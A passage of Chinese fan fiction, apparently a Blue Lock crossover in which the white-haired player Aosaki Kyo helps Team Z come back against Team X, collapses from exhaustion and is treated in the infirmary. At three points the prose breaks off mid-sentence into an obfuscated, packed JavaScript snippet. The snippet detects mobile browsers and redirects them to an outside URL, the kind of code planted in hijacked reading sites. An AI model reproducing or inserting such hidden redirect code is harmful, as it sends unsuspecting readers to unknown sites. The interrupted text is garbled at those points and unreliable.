五十岚栗梦沿中线向前奔跑,两个选手一前一后冲上来堵住了他的位置。 “喂,铲他的球!”从后方压上来的球员大手一挥指挥道。 苍崎镜却突然从侧方出现,以一个刁钻的角度从三人间的空隙里滑过,混乱之中伸脚一推,赶在铲断发生之前把足球轻轻地送了出来。 代价是他自己被放铲的球员收不住力撞倒,狠狠摔在地上,只能眼睁睁看着救出来的球被推力裹挟着孤零零地朝远处滚落。 “可怕。”铲断失败,对面的球员拍拍尘土从地上站起来,满脸的心有余悸,“你居然敢抢这个球,我可是差一点就踹你腿上了!” 镜没有说话,但也没有起身,而是死死地看着那颗足球,以及周围从四面八方围抢过去的人。 你能看到吗?洁。如果我没看错人,以你的「直觉」一定能看到的吧! 在那个位置出现的、完美的进球路线! 在洁世一眼里,因为毛栗把球抢走就坠入一片混沌的球场,因为镜勇敢的抢断而再度出现了一丝微光。 他一直在下意识地捕捉着蜂乐和镜的位置,连同每一个动作、每一个表情。 所以他注意到了,在镜往三人中间横插一脚前递给他的眼神。 洁下意识看向镜身后尾随他移动的两个防守球员,再看向不知不觉就朝着中场的暴风眼聚集的球员们,立刻领会了镜的意思。 所以早在那个球被送出之前,他就已经跑位到了正确的位置。远离人群,无人盯防而且「正对」苍崎镜面朝的方向。 绝佳的位置。洁伸脚停球,为了不浪费镜冒着受伤风险争取到的机会,他一刻也没有闲着,回传给早早在侧方接应的蜂乐——接下来就是按计划进行的时间了。 镜揉了揉酸麻的脚踝,从地上爬起来重新回到赛场。 这个距离跟过去也来不及了,干脆留在原地防守吧。镜下了打算,注意力像只透明的幽灵一样徘徊在马狼照英的身上,他心里有些没底。我防250号?真的不会被过掉吗? 镜安静地仰起头,朝着天花板上射出的璀璨光线。他抬起手,挡在眼前。 有人走过来问他:“刚才,你为什么要抢那个球?” “唔?”镜回过头,确认了一眼前方的情况,“你指的是什么?”他没听明白这句话。 说话的人和他穿着一样的队服,有一头美丽的一看就是经过精心保养的红色长发。 “我看得很清楚,铲断的那个人当时已经把脚伸出去了。”那男生说。 镜露出费解的表情,问:“那又怎样?” “哈?”红发男生用看外星人的目光打量镜,半晌了然道: “原来如此。你这家伙,是满脑子肌肉的白发猩猩啊。”* 红发男生说完默默走到一边,过了一会镜终于从躺在记忆角落里落灰的战术板上找到了他的名字:千切豹马,存在感微妙,在最初的淘汰赛和体能测试里都没有太亮眼的表现,但是又在气质上给人危险又很有个性的感觉。 在千切身上,镜捕捉到了一丝许久未见的违和感。这么比喻或许有点奇怪,但千切给他的印象就像是当初的羂索跟两面宿傩。当然不是指外表或品格,而是说他们身上相似的、被不合适的「躯体」困住的感觉。 又看了几眼,实在发现不了什么,“那算了,以后再说吧。”镜说着,重新关注起前场的情况。 风云际变的前场,洁和蜂乐踢出了行云流水的配合,摧毁了对面纸一般的防线。球在洁的脚下,还在向前推进。守门员见状如临大敌地拦在球门前。 单刀球。一定要进。 单刀球。一定要进。 单刀球。一定要进。 这一刻,洁世一的世界寂静下去,身后的喧闹被抛之脑后,眼里只有抬脚的自己和脚下的足球。 触球。射门。 球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988067|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网接住足球,发出哗哗的响声,足球旋转着从球网里掉落滚到守门员的手边。 世界的声音回来了,属于洁世一的褒奖是判定进球有效的哨声。 “洁!”蜂乐笑容满满地扑过来抱住洁的后背。 Z队对战X队,上半场第二次开球,Z队洁世一得分,比分被扳平成1:1。 洁脸色绯红地低着头,沉浸在进球的感觉里,像只木偶一样呆呆地看着自己的手。 镜小跑着,从中线附近一路挪过来,看到的就是这么一副有点滑稽的画面。 “回神吧?洁,你进球了哦。”说话也没反应,镜问道:“蜂乐,洁怎么傻掉了……” 蜂乐总是无忧无虑地笑着,“^V^,不知道哟。” 镜小心地弯腰从侧面观察洁的表情。蜂乐从洁背后跳下来,就在这一秒洁世一忽然抓住镜的肩膀,用不知哪里来的力气牢牢将他锁在原地轻轻摇晃,深蓝色的眼睛里承载着满到快要溢出的兴奋心情。 “我进球了。”带领球队得分后,洁激动的心情终于掩饰不住地透露出来。 镜推拒道:“多亏了洁跟蜂乐。所以洁能把我放开了吗?” “啊,抱歉。” 洁不好意思地笑着,松开了手。想到刚才的进球,成功的余温停留在掌心。但是在进攻的全过程里有一个突兀的细节,让他不得不去在意。 “镜那时候的跑动是什么意思?” 苍崎镜回答:“就是要去抢球。没什么难理解的。” “不是指那个。”洁思考着,双手在空中比划了一下,“我是在问,那个动作的意思,是需要「我」去那里「接球」吗?”他慢慢地、几字一顿地说。 “——” 听到洁的问题,镜的表情趋于空白,一抹不出所料的微笑在他的嘴角一闪而逝。 “我就知道你能「看到」,洁。”镜打开话匣,慢慢悠悠地解释道,“唔。我在想,既然当时大家都不想传球,那就是要比拼单挑后防线的能力了。”他的视线看向输球后一脸阴沉地注视自己后卫的马狼,“不过,不是所有人都有250号的水平,也就是说,会被断掉。”镜回过头看向洁,“只要在球被断掉之前把球抢走,机会就还在我们的手上。而且一部分人上前抢断、一部分人盯防我,剩下的人被中场的动向吸引偏离位置——前锋的机会就来了。” 仿佛把球场上的选手分门别类,把每一个人的作用跟反应都摸得一清二楚,从骨骼到灵魂,把所有人的情况掌控在手里,再将他们加以利用。 看着那双坚定不移的眼睛,想到马狼的第一球表现,洁世一忽然意识到了关于这场比赛的「另一种答案」。 他问道:“镜,你是要从马狼手上抢回球场的「掌控权」吗?” “马狼?” 镜反应过来。 “原来250号叫这个名字。”他点点头,“没错哦,就是要从他手里把球场抢回来。” 无论谁都没法否认让这场球赛从混沌到有序的是马狼照英的第一个进球,错失机会的人将永远没有成为「国王」的权力。但如果,他们这群在第一球里失败的家伙不甘退场,非要做突现的第二股势力,反对国王、撕破秩序呢? 镜看了眼记分板上的时间,“我先回去了,洁,等会还要想办法进第二球呢。” 13. 第二球 不过,嘴上的说的容易,实际情况是进第二球比第一球难一个等级。 被进球后,X队围绕马狼组织起了一条输送「炮弹」的进攻链条。 “标准的4-5-1阵型,”镜扭头对蜂乐和洁说,“你们在以前的比赛里踢过不少吧?” “啊,那是肯定的。”“当然哦!” “那样就好。”镜勾起嘴角,笑着问:“话说,洁,你还没有忘记和我的「约定」吧?” “当然没忘。”洁回答道:“放心吧,我会给镜传球的。” 镜身上的气势完全变了,和现在充满兴致的镜比起来,之前的镜简直称得上死气沉沉。看着那样的笑容,洁出神地想着。 这样的传接球关系正是他适应的。镜不客气地说:“那传球的事就交给你了,洁。” 这一次,X队开球。足球被全力抛起飞向Z队半场,X队的进攻体系霎时间撞进Z队的后防线中,如同水和火的正面遭遇,爆裂出阵阵焦灼的热气。 足球悬挂在半空中,Z队和X队的球员起跳争抢。和马狼撞在一起的是Z队的国神。纯粹的力量对抗。由于起跳时马狼被旁边的雷市撞了一下,结果是国神占上风。 “洁!” 接球后,国神立刻挡开身侧的马狼,稳住重心,一脚长传直接将足球射向前方。 见状,聚集在中线附近的Z队三人同步加速,以三角阵型朝落点飞奔过去。 “可恶!”马狼骂道,怒声指挥道:“你们这些球渣都给我回去防守,别让他们进球!” “明白!”全队实力最强的「国王」已经发话,X队的防线立刻组织调度起来。 现在的自己状态绝佳,镜确信这点。不顾身后的情况,他继续加速,如扬蹄战马不断前压,在草叶飞溅的球场上留下一道飞逝的白色轨迹。 “唔。你要跟我抢球吗?”镜看着前方跑动,“会受伤的。” 后防球员当即吼叫:“胡扯八道!” 一个如墙一般的X队的防守球员冲撞过来,要和苍崎镜争顶还在空中缓慢旋转的足球。二人同时起跳,在半空相撞,结果却让所有人大跌眼镜:比防守球员瘦弱一圈的苍崎镜带着浅浅的笑容将对手撞飞出去,而苍崎镜轻盈平稳地落地,足尖踩在球面上。 看着重心被破坏趴在地上的对手,镜露出一个无可奈何的表情。 下一秒,他扭头喊道:“洁!蜂乐!” 说完,镜继续朝敌方防线突入,给倒在原地的防守球员留下了一道带球奔跑时扬起的旋风。 一点点地,镜逼近着X队的球门。中场的两名防守球员分别从两个方向朝他拦截,在之前他们也对五十岚栗梦用过这招。 镜嗅到一丝危险,回头一看,发现第三个人已经将自己和蜂乐间的传球路线隐隐堵住,而远一些的洁,马狼正在他的后方虎视眈眈。 他停住球,高频地回头转头,确认二人的位置和反应,脸上挂着严肃的表情。 忽然,镜朝左边倾身,右脚抬起;左边的球员压低重心要拦住他;一秒之后,镜拧身摆正重心,整个人摇摆到球的右边;右边的球员见状上前补救,被镜用背架住,两人僵持在一起;左边的球员猛地伸出脚,镜反应迅速,用脚尖率先将球顶出,随后甩开身后的右边球员,闪身避过左边球员,接住足球后,像是什么都没有发生一般冷静地朝前前进。 X队的后防球员上前拦截,和镜搭话道:“喂,这么跑没关系吗?下半场你不打算踢了吗?” 镜的眼神移动了一刹,视线还看着眼前的后防球员,脚上却早已将球传向了身后。 镜说:“你们的防线也在被我们调着满场乱跑。体力不会不够吗?” 洁平稳地停住了镜回传给他的一球,X队负责这片区域的球员压迫过来,洁再度把球传给镜,镜在后防球员面前连续做了两个带球过人的假动作,突然将球转身传给蜂乐。 “呀,轮到我了吗~?” 接到足球,蜂乐回的笑容扩大了,脚下踩单车的动作快速到几乎要出现重影,然后又是挑球过人。目不暇接的技巧盛宴,现在是Z队盘带王的个人表演时间。 后防因此被扯开一道裂口,隔绝蜂乐和镜的城墙从中间裂出一道缝隙,崩塌成沙。 蜂乐抬脚,漂亮的远传;镜回敬一个高度完美的起跳,球磕上腿侧,失去所有旋转静静掉在脚边。 足球鞋底踏住柔软的球场草地,冲击力被身体骨骼轻柔地化解,人造的心脏将沸热的血液送往全身。 感受着这一刻奇妙的一切,苍崎镜扬起嘴角,用上全部力量抬脚射门。 足球挂在球网上,久久不落。 哨声吹响,X队对Z队,比分,1:2。 镜看着监视器,“任务完成了。” 说完,他直挺挺地倒了下去,面朝大地趴在地上。 监控室内,帝襟杏里脸色骤变,夺走绘心甚八的麦克,“喂?232号?苍崎镜?” 在场选手陆续围上去。先是蜂乐和洁,然后是Z队全队,最后是X队离得近的后防球员。国神和洁探讨了一下,给镜翻身,而洁预感不对,伸手探了探镜的呼吸。 “……”洁颤抖着说:“没有呼吸了……” 全场为之一滞。更有甚者已经开始默哀。 忽然,「没有呼吸」的镜伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988068|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住洁世一的手腕。 几秒钟后,苍崎镜从地上坐起,“只是花费太多能量不小心睡过去了而已。请不要把我当做猝死在场上的球员,很丢人。” 终于,Z队可以开始庆祝比分的逆转,把镜从地上拉扯起来,往他身上挂满了人。 帝襟杏里长舒一口气,松开拳头,脱力地倒在椅子上。 “原来如此,”绘心甚八给泡面加上过量的辣椒粉,“是这么一回事啊。” 帝襟杏里看向他,“绘心先生知道这是什么情况吗?” “突然昏睡?不知道,可能是他有什么遗传疾病吧。”绘心甚八用筷子指指屏幕,上面是这场比赛里苍崎镜的数据,“但是,他的数据,这下终于有解释了。” “数据?”帝襟杏里凑上前。 绘心甚八咧开嘴角,搅拌泡面,“他不是奔跑整场也不会累的天才,只是用某种办法控制了体能流逝而已。” “这、是科学能解释的东西吗?”帝襟杏里委婉地怀疑。 见过更多「不科学」东西的绘心甚八眉毛上挑,“也许这个选手本身就不科学呢。” 球场上,苍崎镜抬手,示意这些人从自己身上下去。 他走到洁世一身边,顶着「搭档」担心的表情,露出一副想要说什么的样子。 “没关系的,下场休息吧,镜。”洁认真地点点头,拍拍他的肩膀鼓励道,“毕竟我们有11个人。” “啊!你就赶紧下场吧!”雷市嚷嚷道,“没有你本大爷也能踢对面个落花流水!” 国神的手按住他的肩膀。 “交给我们吧。” “没错。没必要勉强自己,万一真的受伤就追悔莫及了。”负责组织过战术(虽然根本没用到)的久远相当在意地瞥过镜的腿部。 镜叹了口气,转头看向剩下几人。 蜂乐俏皮地高高举起手,“我附议哦,无论怎么说受伤都太危险啦。” 五十岚栗梦嬉皮笑脸地搓搓双手,“说实在的,苍崎下场我们就能有更多球权了嘛。” 镜低下头掰着指头数了数,“5票啊。” “是6票。”千切抱着手臂,冰凉的目光扫过镜的身体,“你在球场上太胡来了,第一场比赛有人受伤,剩下的比赛就不用比了。” 镜沉默不语。他现在状态正好,想继续把比赛进行下去,但刚才的「胡来」又确实让他身体的某部分出现了一些损伤。 “要拦住马狼。”镜不放心地提醒,举手道:“裁判,下场。” 伴随着一声提示音,球场边缘的屏幕上面显示出苍崎镜的头像,红圈旋转,短暂加载,状态切换为:下场。 14. 加速进化 下场以后,镜的心情并不明朗。他走到场外,贴着墙壁坐下,紧盯着球场。 身体深处传来少许不适,这具身体的某些零件似乎在刚才的碰撞里破裂了。镜的手指在肋骨附近按压着,疼痛却依旧带着僵硬感从皮下渗出。 多亏咒术师的经历,镜对于受伤适应良好,但也不免遗憾地想:这具身体虽然不怕受伤却会受到伤病影响。如果换成以前的身体,绝对不会因为这点小事就被迫退场的。 他看着自己的手心,抓握了几下,再收紧,感受着体内的力量正随着他的动作焦躁不安地沿神经缓缓涌动。 心跳加速,是灵魂撞击着铁笼,渴望挣脱身体的控制,继续在比赛里奔跑。 但现实是他只能坐在这里,眼睁睁地看着场上的局势彻底脱离自己的掌控。 镜屏息寻找起洁世一的身影,“……” 除非有人能站出来,稳住这个局面。 场上,洁世一擦掉顺下巴流下的汗。他很清楚,尽管比分占优,但其实他们才是不利的那方。 上半场还没有结束,球权在对面手里,而且最重要的是:镜下场之后Z队以10人对抗11人,少人作战,盯防马狼的人少了一个。面对那样的进球怪物,10人的防线要怎么才能拦住他,保持住这一碰就碎的优势比分? “洁,蜂乐,”久远从后场走上来,“我和其它人商量了一下,上半场先想办法拿到球,之后用传球把球权控制在我们手里。拖到上半场结束再讨论下半场的打法吧。” 洁正好也有这个想法,他看向蜂乐,得到点头后回答久远:“啊,这样就好。” 无论如何先想办法把球抢过来。阵型做出改变,雷市和国神向前调动,其余两人后撤,镜下场后中场剩余的三人在中路附近收缩出一条拦截中场进攻的防线。 洁世一的视线在观察球场时偶然扫过场边的苍崎镜,看到他一副没事人的样子坐在那里,微微一顿。 那时是他太过心急,出现了幻觉吗? 疑云重重。 与此同时,苍崎镜发挥了他优秀的感知力,镇定对视,对洁做了一个口型。 「进·球·吧」 场边的白发少年说完就换了个姿势,盘着腿托着下巴,兴致满满地看着洁世一。 洁被烫到一般快速收回视线,心里却在想着那句话是什么意思。 攻守转换,X队开球。 一盘散沙的Z队在比分实现2:1逆转后奇迹般变得团结起来。为了保住比分,为了防住马狼,此前你争我抢的Z队终于建立了短暂的共识:就只是这一场,哪怕进不了球,也要先把防线维护好才行。 马狼当然看出了Z队的改变,但对他们想当然的防守,他还是嗤之以鼻,“这种防线就想拦住我吗……”只要他想,他有一百种方式毁灭这潦草的后防。 但看着Z队俨然化作一个整体,拥有了独立「国王」以外自己的「秩序」…… 马狼阴沉不定地看着场边无聊到呈尸体状躺在地上的镜,情绪不明地评论道: “简直就是「刁民」啊。”* “马狼!” 左后方,X队的队友在成早和国神的围堵下传来一球。 虽然知道这是合理的举动,但看着左右两边立刻上来「收网」的两人,马狼啧了一声。 “你中计了,白痴。”马狼停球后立刻磕球接上一个穿裆过人,“但算了,无所谓。” 被如木桩般过掉的久远咬咬牙,尽管在第一球时就已经品尝到「国王」在球场上的统治力,但在比分已经实现逆转的当下再度被过,产生的心理落差还是让他痛苦不堪。 Z队的我牙丸吟从右边赶上,抬腿前冲,意欲铲掉这个球。 马狼回以一个停球,再用一个简单的脚部动作把足球拨回身后,看着我牙丸因为惯性滑走,他才继续前进。 “抱歉,我牙丸,我没拦住。”久远走过来低沉着说。 “嗯……”我牙丸不知道该说些什么,不太能明白久远现在的心情,毕竟他也没有拦住。 伊右卫门送人在己队进球后长舒的一口气现在终于再度提起来,在他眼里,眼看着那个马狼带着一身气势如入无人之境地向自己冲来,而此前从未当过门将的自己只能强撑气势色厉内荏地找个角度企图接住球—— 马狼不客气地评价道:“破绽百出啊。” 伊右卫门前扑,足球却被马狼踢出一条弧线落向伊右卫门背后的球门。 X队对Z队,比分,2:2平。 “好啊!”“谢了,国王马狼。” 马狼慢吞吞地走回X队半场,平淡地接受了球队对他进球的庆祝与欢呼。 X队的压抑一扫而空,相反,Z队的轻松雀跃却在马狼射进这一球后变成了一场梦。 “喂,我说,”成早用力抓着脑袋抱怨,“让我们去防马狼是怎么想的,我们又不是专业的后卫,怎么可能拦得住他啊!” 久远伸出手劝阻道:“不要这么说,成早,毕竟匹配到X队的是我们,只有想办法拦住他才有可能获胜啊。” “既然如此,干脆想一想前两个球是怎么进的吧。” 千切忽然参与到讨论中。表情冷淡,介乎于赤色和粉色的瞳孔中却流露出少有的仔细和认真。 在前场待命的洁和蜂乐也围了过来,听到千切的建议,洁忽然意识到:凭他们现在的整体水平想要靠盯防马狼保持比分直到获胜的「设想」,基本是不可能的。 “那两个球,是洁和苍崎进的吧。”伊右卫门不仅在球门前看得清清楚楚,印象也很深刻,因为那是这场比赛里他最安心的几十分钟,他挠了挠头,“其余我就不清楚了。” 「进·球·吧」 镜的那句话仿佛魔咒一般在洁世一的脑海中响起,伴着心跳声一遍又一遍地回荡。 “喂喂,洁?”蜂乐的声音忽然在耳边响起,“被我逮到啦,你刚才又走神了哦!” 洁世一猛地抬起头来,发现所有人都在看自己。 “抱歉,刚才我们说到哪里了?”洁笑着有些尴尬地问。 国神皱了皱眉,双手带着沉重的力道拍在洁世一的肩膀上。 “刚才在说,作为进球的人,你一定知道那时发生了什么吧,洁。” 洁重复道:“发生了什么……” 表面上,似乎只是接到了球、然后传球跟射门而已。但为何会如此顺利? Z队的九双眼睛都在看着他,期待他在现在能得出答案。 洁世一深深呼吸,闭上眼睛。 此前,所有人在球场上的位置如相片般在洁世一的脑海里被「复刻」了出来。在这个球场里,洁世一在球场上俯瞰万物,他成了「神」,所有人的举动都被他尽收眼底。 而「球场」上,百无聊赖地在后场发呆的「苍崎镜」感觉到了什么,他抬起头,飞越天花板,与未来的洁世一对上视线。 来自球场里的那股视线仿佛打破了时间的「壁垒」,让洁世一既恐惧又兴奋。 那目光里,兼带有温热的期待和苍凉的审视。 「看到了吗?」 「我就知道你能看到,洁。」 「这是我所认为的X队的弱点,也是无论有没有我都能在球场上起效的战术。」 「但是,需要有你在。毕竟现在你是球场上唯一能看到那东西的人。」 “我觉得,是因为镜把自己当「诱饵」,威慑了对面除马狼以外的其它人……”洁边思考边判断,“……创造了足够的空档,于是我和蜂乐就能有射门的时机……” “没用的。”千切淡淡道,“看他自己还倒在场外就知道,那种做法不会有第二次了。” “如果有必要的话,我可以去前场。”国神将右拳握住,轻轻敲上自己的肩膀,真诚地自荐道:“拼命而已,我也会堂堂正正地跟对面比个输赢的。” “所以,我们需要一个诱饵吗?听起来确实可行。”久远总结道。 这似乎是个正确答案。但有一件事洁世一在意:听到这个答案时,他却忽然看不到那片脑海里的「球场」了。 洁攥紧拳头。该死,能让他们赢下比赛的「那东西」到底是什么? 眼看着时间流逝,而讨论向着错误的方向不断滑坡,千切忍不住开口说:“都说了,没用的。” “啊?!那你说什么有用?”本来以为要到自己发挥的时候,却被千切泼了一盆冷水的雷市没好气地问。 “什么有用……” 千切的脸上爬上一丝微不可查的忧愁。 久远趁机提议:“既然没有更好的答案,我们还是先按目前的思路制定诱饵战术吧。” 久远说完,带头举起手。他的说法很快得到了目前10人里的7票,仅剩的3张反对是已经表态「这么做没有用」的千切、注意力放在洁身上的蜂乐、还有态度不明的洁。 “洁,你的看法是?”久远追问道。 洁世一抬起头来,“我觉得,重要的真的是镜吗?” Z队的气氛为之一僵。五十岚栗梦摆出佛教里的忏悔手势念:“罪过罪过,阿弥陀佛,这话连我都没说过……” 洁赶忙解释道:“不,我不是那个意思。我只是说比起那家伙的个人实力,战胜X队需要的也许是其它「武器」。” 成早歪了歪头感慨道:“听不懂啊。” 久远一边苦笑着缓和氛围,一边顺着洁的思路思考下去,“先别急——比如说呢?” “比如,”洁冷静地说道,“「直觉」。” 虽然这有可能是自己妄想出来的答案,但是事到如今也想不了那么多了。回味着之前时「注意到」某些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988069|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西的滋味,洁带着被全部人反驳的觉悟主张道:“国神和雷市,不要去当和对面拼抢的诱饵,按照正常的踢法找机会接球。” 大抵是因为这个安排更有可能进球的缘故,雷市带着凶恶的表情低声说了什么便不再吭声。 洁松了口气,看向国神。 沉默不语的「英雄」出乎意料地同意了他的做法。 “……我同意。”国神说,他看向场边靠着墙坐着看向这边的镜,“苍崎他之前跟我提起过「直觉」。洁,如果你也觉得这东西有用的话,就试试看吧。” 要不是上半场马上结束,暂停这么长时间是一定会遭到对面抗议的。镜正想着,旁观着场上进行的讨论,眼前忽然打下了一片阴影。他仰起头看去,方才注意到穿着工作装的帝襟杏里不知何时来到了自己身边。 “杏里姐?”镜站起身,从帝襟杏里的表情中看不出有什么意思,“找我有事吗?” 帝襟杏里冲他点点头,转身,“跟我来,去一趟医务室。” “唔!难不成情况比我想的严重?”镜吓得睁大眼睛,赶紧追问帝襟杏里。 帝襟杏里不语,只是侧身站在通道边等待苍崎镜追上来。 所以,还是做不到吗? 跟随帝襟杏里离开前,镜回头看了一眼球场上的Z队,遗憾地想。 他在前两个进球中留下了「线索」。如果洁世一真的相信苍崎镜的判断,那就应该想起来:从一开始,苍崎镜的「目的」就不是单纯的进球,还有看到被他相信的洁世一踢出「不一样」的球。 如果觉得自己不重要,如果觉得球队的胜利只是「苍崎(五条)」一个人的事;苍崎镜毫不犹豫地走向帝襟杏里。那就当我看错人好了,这种家伙没办法满足我对「可能性」的期待,更没办法在比赛里派上用场。 抱歉了,洁世一,跟你说声再见。可能我又一次看错人了吧? 球场上,Z队开球,上半场最后的3分钟时间由一声沉闷的爆响宣告开始流逝。 “等一下,苍崎镜,”帝襟杏里叫住他,镜在黑暗的通道里回头,“你掉了东西吗?” 长长的通道前,浅色的台阶上,静静地躺着一对挂在一根细绳上的银饰品。 镜走过去,把它捡起来,看着它在手心闪烁着黯淡的银白金属光泽,道谢道:“谢谢,杏里姐。这东西对我来说很重要。” 毕竟这是自己身上为数不多的和橙子姐有联系的东西,要是丢失,就真的显得和她再无瓜葛了吧。 场地里,指挥的叫喊声和球鞋踢上足球的闷响声不绝于耳。镜不抱什么期待,随意地看了一眼,可这一眼看到的东西却一下子将他吸引了进去。 在进攻。 在上半场的最后3分钟,比分持平,所有人都会觉得Z队要开始防守拖延时间的时候,Z队却组织了近乎全部的人手参与着进攻。 镜晃了晃脑袋。不,有可能只是换个方式拖延时间,自己不要想太多了。再说因为自己的下场,现在的Z队可是10对11的局面,怎么想都不会在这种时候选择进攻的。 快点走吧,镜匆匆走进通道,还要弄清楚自己的身体到底出了什么问题。 “国神!” 场上传来洁的声音。 镜脑袋里的一根弦颤动起来,他走上阶梯,回到球场。靠着优良的视力,苍崎镜看到:洁混浊的深蓝色眼睛正专注地看着球运动的方向。 那抹混浊像暴雨前聚集在天空一角漆黑的乌云;电闪雷鸣,飓风呼啸——昭告着一刻钟后:世界将暴雨倾盆。 刹那间,久久等待着「特别存在」的苍崎镜心里的干涸得到了滋润。 我想看完这一球。念头一经产生,镜立刻去问:“杏里姐,我可以再留几分钟吗?” 帝襟杏里嘴角一抽,额头冒起为克制火气而跳动的青筋。 “不行。” “欸——” “不行就是不行。” “好吧,杏里姐。”镜也有点担心自己的情况,不过更重要的是:“反正,等比赛结束有很多时间交流。” 3分钟后,半场哨声响起。此外,与3分钟前唯一的区别是—— “2:3。”洁世一忍不住笑起来,虽然不是自己进球,但被「直觉」牵引着做出正确选择的感觉依旧让他愉快不已。 于是,他向场边搜寻着镜的存在。 洁世一想要将此刻的心情分享给加速了这场「进化」的人。可是原本存在着白发少年的场边竟空无一人。 洁身体一僵,浑身出现了一秒的无措,但随后反应过来。 “好好休息吧,镜。”洁揪住衣领擦净脖子到胸口的汗水,目光明亮坚定,“我已经,「看到」你看到的东西了。” 我会实现你的期望。这场「加速进化」的终点一定是我来进球! 15. 不公平性 五号监狱医务室内,医生戴着手套撩开镜的裤腿,露出鞋钉划破皮肉留下的血淋淋的擦伤。口罩遮住他的下半张脸,神色不明地看着医疗设备检查出的结果。 “把上衣脱掉。”医生说。 镜照做,问:“应该没事吧?” 医生看着镜背部和肩膀的淤血,红红紫紫交错成一出触目惊心的画面。 “我是专业的球队医生,来这里之前在欧洲俱乐部的球队担任队医。”医生站起,走到药品柜前,寻找着碘伏和纱布,“我见过在职业赛场上受这种伤的人。你知道他们后来都怎么样了吗?” 镜诚实地摇头,“不知道。” “来,处理一下伤口。”医生指示镜转过身,“抬手。以防感染,这一块区域都要包扎一下。”他顿了顿,给镜的右肩一圈圈缠上绷带,“他们多数都透支了身体,因为伤病复发和状态下滑黯然退役了。” 帝襟杏里在屋外敲敲门,“医生,处理好了吗?” 医生摘下口罩喊:“背部的擦伤已经可以了。请进吧,帝襟小姐。” 帝襟杏里推门而入,第一时间看向了病床上的苍崎镜,右半边身体缠满了绷带。 “活动一下肩膀。”医生说。 “唔。”镜绕肩膀慢慢旋转手臂,微微蹙眉,“胳膊有点抬不起来。” “快停下,”医生赶快制止一脸平静还想再动一动的镜,“那是肯定的。你受伤了。” “喔……” 镜似懂非懂地点头,小幅度地低头看向被绑带包裹的肩膀。感受着身体的异样,镜露出新鲜的表情看向医生,问道:“这种伤就要休息了吗?” 医生两只眼睛瞪大,又惊又气,这小孩在想什么? “不然呢?” 帝襟杏里的手也在这时按在他没受伤的另一侧肩膀上,苍崎镜不敢说话,他也不知道该怎么说。对「咒术师」来说,缺乏对受伤跟死亡的恐惧应当是一种优势;但他此时模糊地明白,对失去咒力仅仅是身体素质占优的普通人来说,这种个性似乎弊大于利。 看镜不说话,以为他承认了错误。于是医生调节语气平和地说:“抬腿。” 帝襟杏里将手抬起,镜乖乖地屈起腿将那道伤口展示在医生面前。 帝襟杏里坐在一边,忧心地问医生:“果然那一下是铲到了吗?” “那一下?”医生下意识问,从眼前的伤口只言片语里复原出当时的情况,他仔细检查后严肃地向镜警告:“你很幸运,没有伤到骨头和韧带,但下次未必这么好运了。” 镜笨拙地接过医生给自己的药品,这些小玩意对他来说比特级咒灵还要陌生。 “杏里姐,”苍崎镜拎着药箱,走在蓝色监狱的过道上,追逐前方健步如飞的帝襟杏里,“我完成任务了,这样就能留在这里了吧。” 常识告诉她应该批评这种行为,但是亲眼看到两支球队的表现后,帝襟杏里无法对以镜为代表的拼命的球员们说出任何阻止的话。 “至少,下次试着躲开。”她小声劝说。 镜误以为帝襟杏里是在暗示他换种作战的可能性,当即提起兴致,沉浸在自己的思绪里:“比如减少拼抢,适时增加传控?啊,是指防守反击吗?那样的话……” 苍崎镜正想着以球队现在的情况可以实践怎样的新的战术可能,帝襟杏里告诉他: “下场比赛,你必须换个「搭档」。” 镜霎时出现如遭雷击的反应,脑海里涌现的灵感瞬间破碎。 “我以为更换搭档只是可选项。”镜很快冷静下来,但还是不理解这种规则的用意,“还是绘心先生要求的吗?为什么?这跟「蓝色监狱」培养前锋的目标有什么关系?” 一时间,帝襟杏里无法跟镜解释清楚这里面的前因后果。她看着苍崎镜的眼睛,那里面是毫不掩饰的对这份规则「合理性」的质疑。 “就算之前认为我没有前锋的才能,难道现在还没有改变这种成见吗?”弄不清绘心甚八的想法,镜觉得无比混乱,“而且说到底,绘心先生眼中「前锋的才能」到底是什么东西啊?” 帝襟杏里没有办法替绘心甚八解答镜的疑问,“总之,这份规则是无法改变的。” “那下下场比赛、下下下场比赛呢?”镜几乎能想到绘心甚八一切尽在掌握的微笑,“这样是要让我把队里的每个人都助攻个遍吗?” 帝襟杏里平和地听着镜的话,在他不解的目光中回答: “你果然这么质疑了。” “「果然」?” 这充满标志性的用词让镜皱眉,帝襟杏里很快说:“绘心先生嘱咐过,如果你从这个角度质疑他的安排,就让我告诉你……” 苍崎镜看到,伴随着帝襟杏里吐出的话语,坐在屏幕前,绘心甚八将冷淡的审视目光落在自己身上,镶嵌着黑黝黝瞳孔的脸上露出嘲讽的微笑。 